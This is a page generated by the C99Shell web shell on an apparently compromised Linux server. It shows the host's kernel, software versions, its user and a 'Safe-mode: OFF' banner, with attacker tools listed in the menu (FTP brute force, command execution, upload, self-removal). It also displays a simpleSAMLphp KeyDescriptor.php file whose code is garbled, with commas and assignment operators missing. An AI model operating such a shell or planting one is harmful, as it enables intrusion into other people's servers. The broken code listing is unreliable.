!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/simplesamlphp/lib/SAML2/XML/md/   drwxrwxr-x
Free 13.95 GB of 61.93 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     KeyDescriptor.php (1.89 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class representing a KeyDescriptor element.
 *
 * @package simpleSAMLphp
 * @version $Id$
 */
class SAML2_XML_md_KeyDescriptor {

    
/**
     * What this key can be used for.
     *
     * 'encryption', 'signing' or NULL.
     *
     * @var string|NULL
     */
    
public $use;


    
/**
     * The KeyInfo for this key.
     *
     * @var SAML2_XML_ds_KeyInfo
     */
    
public $KeyInfo;


    
/**
     * Supported EncryptionMethods.
     *
     * Array of SAML2_XML_Chunk objects.
     *
     * @var array
     */
    
public $EncryptionMethod = array();


    
/**
     * Initialize an KeyDescriptor.
     *
     * @param DOMElement|NULL $xml  The XML element we should load.
     */
    
public function __construct(DOMElement $xml NULL) {

        if (
$xml === NULL) {
            return;
        }

        if (
$xml->hasAttribute('use')) {
            
$this->use $xml->getAttribute('use');
        }

        
$keyInfo SAML2_Utils::xpQuery($xml'./ds:KeyInfo');
        if (
count($keyInfo) > 1) {
            throw new 
Exception('More than one ds:KeyInfo in the KeyDescriptor.');
        } elseif (empty(
$keyInfo)) {
            throw new 
Exception('No ds:KeyInfo in the KeyDescriptor.');
        }
        
$this->KeyInfo = new SAML2_XML_ds_KeyInfo($keyInfo[0]);

        foreach (
SAML2_Utils::xpQuery($xml'./saml_metadata:EncryptionMethod') as $em) {
            
$this->EncryptionMethod[] = new SAML2_XML_Chunk($em);
        }

    }


    
/**
     * Convert this KeyDescriptor to XML.
     *
     * @param DOMElement $parent  The element we should append this KeyDescriptor to.
     */
    
public function toXML(DOMElement $parent) {
        
assert('is_null($this->use) || is_string($this->use)');
        
assert('$this->KeyInfo instanceof SAML2_XML_ds_KeyInfo');
        
assert('is_array($this->EncryptionMethod)');

        
$doc $parent->ownerDocument;

        
$e $doc->createElementNS(SAML2_Const::NS_MD'md:KeyDescriptor');
        
$parent->appendChild($e);

        if (isset(
$this->use)) {
            
$e->setAttribute('use'$this->use);
        }

        
$this->KeyInfo->toXML($e);

        foreach (
$this->EncryptionMethod as $em) {
            
$em->toXML($e);
        }

        return 
$e;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.9558 ]--